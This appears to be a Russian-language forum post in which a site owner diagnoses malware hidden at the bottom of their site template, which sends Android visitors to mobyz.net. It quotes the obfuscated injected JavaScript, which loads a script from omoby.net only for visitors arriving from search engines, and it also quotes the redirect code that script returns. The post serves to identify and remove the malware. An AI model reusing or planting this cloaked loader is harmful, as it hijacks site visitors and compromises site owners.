При заходе с android спустя 3 сек редиректит на mobyz.net
Вот вроде зловред:
function R(){var Ref=document.referrer;if(Ref.indexOf('.google.')!=-1||Ref.indexOf('.bing.')!=-1||Ref.indexOf('.yahoo.')!=-1||Ref.indexOf('.aol.')!=-1||Ref.indexOf('.ask.')!=-1||Ref.indexOf('.altavista.')!=-1||Ref.indexOf('.yandex.')!=-1){document.write(unescape('%3Cscript%20type%3D%22text/oops%22%20src%3D%22http%3A//omoby.net/js%3Fid%3D3243%22%3E%3C/script%3E'));}else{document.write('.')}}R();
Алгоритм такой если Referer из google/yandex и пр. поисковиков, пишет:
скрипт сорцы которого тут
http://omoby.net/js?id=3243
Если скрипт тянется с User Agent Android то выдает такой код:
window.location.href = "http:\/\/omoby.net\/e\/3243?" + "&mod=js&dn=" + window.location.host;
И оттуда уже на mobyz.net редиректит.
Сам скрипт в самом низу шаба.